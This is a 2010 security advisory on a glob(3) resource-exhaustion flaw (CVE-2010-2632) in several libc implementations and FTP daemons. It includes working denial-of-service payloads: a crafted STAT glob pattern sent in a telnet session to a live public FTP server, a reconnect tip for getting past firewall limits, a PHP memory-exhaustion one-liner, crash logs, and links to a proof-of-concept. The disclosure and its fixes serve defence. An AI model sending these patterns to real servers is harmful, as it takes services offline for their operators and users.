Source: http://securityreason.com/securityalert/7822

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ Multiple Vendors libc/glob(3) resource exhaustion (+0day remote
ftpd-anon) ]

Author: Maksymilian Arciemowicz
http://netbsd.org/donations/
http://securityreason.com/
http://cxib.net/
Date:
- - Dis.: 06.11.2009
- - Pub.: 07.10.2010

CVE: CVE-2010-2632

Affected Software (verified):
- - OpenBSD 4.7
- - NetBSD 5.0.2
- - FreeBSD 7.3/8.1
- - Oracle Sun Solaris 10
- - GNU Libc (glibc)

Affected Ftp Servers:
- - ftp.openbsd.org (verified 02.07.2010: "connection refused" and ban)
- - ftp.netbsd.org (verified 02.07.2010: "connection limit of 160 reached"
and ban)
- - ftp.freebsd.org
- - ftp.adobe.com
- - ftp.hp.com
- - ftp.sun.com
- - more more and more

Affected Vendors (not verified):
- - Apple
- - Microsoft Interix
- - HP
- - more more more

Original URL:
http://securityreason.com/achievement_securityalert/89

- --- 0.Description ---

#include <glob.h>

int glob(const char *pattern, int flags,
int (*errfunc)(const char *epath, int eerrno), glob_t *pglob);

Description

This function expands a filename wildcard which is passed as pattern.

GLOB_LIMIT Limit the amount of memory used by matches to
ARG_MAX.
This option should be set for programs that can be
coerced to a denial of service attack via patterns
that
expand to a very large number of matches, such as a
long
string of */../*/..

- --- 1. Multiple Vendors libc/glob(3) resource exhaustion ---
As we can read in definition GLOB_LIMIT:

- --
Limit the amount of memory used by matches to ARG_MAX. This option should
be set for programs that can be coerced to a denial of service attack via
patterns that expand to a very large number of mat
ches, such as a long string of */../*/..
- ---

but now is comming question "what will happen when we use */.. without
matching any results (simple searching)?" GLOB_LIMIT will be not
overflowed. To realize it, we need only use pattern with many
*/.. and many inodes in current directory. On the end of pattern, we need
add some not existed filename (like /cxib*).
If we don't have many files or directories in attacked direcotry, we need
create some dir-structure.

Let's see again:
http://cvsweb.netbsd.org/bsdweb.cgi/src/libexec/ftpd/ftpd.c?rev=1.61.2.5&co
ntent-type=text/x-cvsweb-markup

GLOB_LIMIT

protect us before attacks like

*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*

because glob will find more patches as in GLOB_LIMIT declared. Anyway, if
we use path what do not exists (with */.. strings) like

*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*blablahaha

GLOB_LIMIT will be never overflowed. Many combinations of paths, will
execute this proces a long time. We can also try allocate
(GLOB_LIMIT-1)*MAXPATHNAMELEN bytes per one process. ~200~300MB

Example:
> telnet ftp.netbsd.org 21
Trying 204.152.190.15...
Connected to ftp.netbsd.org.
Escape character is '^]'.
220 ftp.NetBSD.org FTP server (NetBSD-ftpd 20100320) ready.
user anonymous
331 Guest login ok, type your name as password.
pass anon@cxib
230-
The NetBSD Project FTP Server located in Redwood City, CA, USA
...
230-
EXPORT NOTICE

...
230 Guest login ok, access restrictions apply.
stat
{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}
/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*cx

this request will generate 100% usage of process a long time. ftpd come
into glob(3) and will not fast out. Very similar sympthon was described in
vulnerability for glibc strfmon(3)

- - http://securityreason.com/achievement_securityalert/67 --
...
Interesting is that the PHP memory_limit has no control over what will
happens in the level of the libc. Function strfmon(3) can allocate a lot
of
data in memory without control by PHP memory_limit.

For example:
php -r 'money_format("%.1343741821i",1);'

will allocate ~1049MB real memory.
memory_limit can be less that 1049M
...
- - http://securityreason.com/achievement_securityalert/67 --

ftpd also dosen't control what will happen in libc.

so it is enough to send
- ---
USER anonymous
PASS
STAT */..[calculated pattern]
- ---

and disconnect to connect again (bypass firewall limits). In php we can
also bypass max_memory_limit by libc vulns.

Attacking machine in this way, we can call the various side effects.

- -kernel panic in netbsd502---
Jul 5 10:18:13 dhclient: DHCPACK from 192.168.92.254
Jul 5 10:18:14 dhclient: bound to 192.168.92.171 -- renewal in 886
seconds.
Jul 5 10:22:43 syslogd: restart
Jul 5 10:22:43 /netbsd: uvm_fault(0xcc2eb35c, 0, 2) -> 0xe
Jul 5 10:22:43 /netbsd: fatal page fault in supervisor mode
Jul 5 10:22:43 /netbsd: trap type 6 code 2 eip c07d9784 cs 8 eflags 10206
cr2 0 ilevel 0
Jul 5 10:22:43 /netbsd: panic: trap
Jul 5 10:22:43 /netbsd: Begin traceback...
Jul 5 10:22:43 /netbsd: End traceback...
Jul 5 10:22:43 /netbsd:
Jul 5 10:22:43 /netbsd: dumping to dev 0,1 offset 8
Jul 5 10:22:43 /netbsd: dump succeeded
Jul 5 10:22:43 /netbsd:
Jul 5 10:22:43 /netbsd:
Jul 5 10:22:43 /netbsd: rebooting...
Jul 5 10:22:43 /netbsd: Copyright (c) 1996, 1997, 1998, 1999, 2000, 2001,
2002, 2003, 2004, 2005,
- -kernel panic in netbsd502---

- -crash in openbsd47---
# ls
Segmentation fault (core dumped)

or ftpd.core

# gdb -q /usr/libexec/ftpd ftpd.core
(no debugging symbols found)
Core was generated by `ftpd'.
Program terminated with signal 11, Segmentation fault.
#0 0x0a77facb in ?? ()
(gdb) i r
eax 0xffffffff -1
ecx 0x6 6
edx 0x0 0
ebx 0x18 24
esp 0xcfbc1e70 0xcfbc1e70
ebp 0xcfbc1ea8 0xcfbc1ea8
esi 0x0 0
edi 0x81f78100 -2114486016
eip 0xa77facb 0xa77facb
eflags 0x10206 66054
cs 0x2b 43
ss 0x33 51
ds 0x33 51
es 0x33 51
fs 0x33 51
gs 0x33 51
(gdb) bt
#0 0x0a77facb in ?? ()
Cannot access memory at address 0xcfbc1e70
- -crash in openbsd47---

Presented issue in localized libc, not in ftpd. Try use
{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}
/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*cx

in ksh, openssh (sftp-server). sftp is also vulnerable. but they will kill
children process after disconnect.

"What is wrong?",

libc has no control over the computing power glob(3), good fix for this
issue, should control, how many times glob(3) will call to
*readdirfunc(),stat(2) and reducing memory usage.

- -glob.c---
...
static int
glob3(Char *pathbuf, Char *pathend, Char *pathlim, Char *pattern,
Char *restpattern, glob_t *pglob, size_t *limit)
{
struct dirent *dp;
DIR *dirp;
int error;
char buf[MAXPATHLEN];

/*
* The readdirfunc declaration can't be prototyped, because it is
* assigned, below, to two functions which are prototyped in
glob.h
* and dirent.h as taking pointers to differently typed opaque
* structures.
*/
struct dirent *(*readdirfunc)(void *);
...
/*
* Loop over pattern segments until end of pattern or until
* segment with meta character found.
*/
for (anymeta = 0;;) {
if (*pattern == EOS) { /* End of pattern? */
*pathend = EOS;
if (g_lstat(pathbuf, &sb, pglob)) <========= LIMIT
THIS CALL ===
return 0;

if (((pglob->gl_flags & GLOB_MARK) &&
...

if ((dirp = g_opendir(pathbuf, pglob)) == NULL) {
if (pglob->gl_errfunc) {
...
/* Search directory for matching names. */
if (pglob->gl_flags & GLOB_ALTDIRFUNC)
readdirfunc = pglob->gl_readdir;
else
readdirfunc = (struct dirent *(*)__P((void *))) readdir;
while ((dp = (*readdirfunc)(dirp)) != NULL) { <============= LIMIT
THIS CALL ===
...
- -glob.c---

As we can see, glob3() will call to (*readdirfunc)() and back to glob2().
glob2() will come again in glob3()... we need try control, how many times
glob will call to (*readdirfunc)() and stat().
Fix created together with NetBSD devs, should fix this problem.

- --- 2. 0day PoC ---
To sucessfully attack, we need calculate pattern. I am not going show, how
to optimal calulate pattern.
With similar PoC we can try attack ftp.adobe.com, ftp.openbsd.org etc.

0day remote ftpd Denial-of-Service:
http://cxib.net/stuff/glob-0day.c
http://www.exploit-db.com/sploits/glob-0day.c

- --- 3. Fix ---
Oracle 25.09.2010 CET: Being fixed in main codeline

Very thanks for NetBSD project and help NetBSD project like they help you
in fixing this issue

http://netbsd.org/donations/

Fix libc/glob.c for netbsd-4,netbsd-5 branches:
http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/lib/libc/gen/glob.c#rev1
.18.10.1
http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/lib/libc/gen/glob.3#rev1
.30.12.1

Fix for openssh (sftp):
http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/crypto/dist/ssh/Attic/sf
tp.c#rev1.21.6.1
http://cvsweb.be.netbsd.org/cgi-bin/cvsweb.cgi/src/crypto/dist/ssh/Attic/sf
tp-glob.c#rev1.13.12.1

http://netbsd.org/donations/
http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2010-008.txt.
asc

- --- 4. Greets ---
Special thanks for Christos Zoulas

sp3x, Infospec, Adam Zabrocki 'pi3'

- --- 5. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]

Email:
- - cxib {a\./t] securityreason [d=t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://netbsd.org/donations/
http://securityreason.com/
http://cxib.net/
-----BEGIN PGP SIGNATURE-----

iQIcBAEBAgAGBQJMrXeVAAoJEIO8+dzW5bUwjq4P/R//ivaNDXSjx9ANBCkAvwQE
ril6lWxNS459raFYfQBSVL+5ZScrTczKRy+dNHVoARlfS9j9RtmXvnrHuAxAkkXd
0o6ulJem5QVbrUt50sfHm78IIHu3NDRQEotrOm2HGPUjd9ehFXxkPYrpkMfzulbX
Oml2Ng5lwd50M19t2NBNycNv+0KElqLYYCD9zQhtb50ZoQHZ4G40tP3MqEiDqEAB
ZmhiKPBAhCw+sXlx5lJ37+sMPTnQusUZ5JKU73zixEs0kxqs+bdNOa2sgEl6Fixe
0Qy/tK3TDjvrJv2Nlepuhax6Dsda1EWGztppD7BXeZvd3ZIslC1Q9xJVKPZ1EQ5r
UaQmqNXrSR3eJvQS8it6Qy2anxfCkrGMuEqbBo+oKlV2dLAHPmSLRwY98KI16E96
DPqSNG6UEmXOYjROboM05vjksNg+WvqRbd/kvH3qKk5E7GEtw8v/pGK1FXc1It7f
VD6YSANhmlLliLz8OT8qFzaQ7eojEUu5xCn5Dd1er5bvtERmME1MtKctpRZBLH7I
j4cuK3l7X/yXet7jOJ/zcOND8tkX64ZBCU6VgcGnF56mWhZtbVCqFD+fVeSSqgPA
S72zTsV616YrSt78K3aMK00OD8BGlcW4NAGZ9y8/IiIHPaJFUiR+AO5fSOmFZnn9
NKv1ahQyLCmS6QCIQ4rV
=BiRC
-----END PGP SIGNATURE-----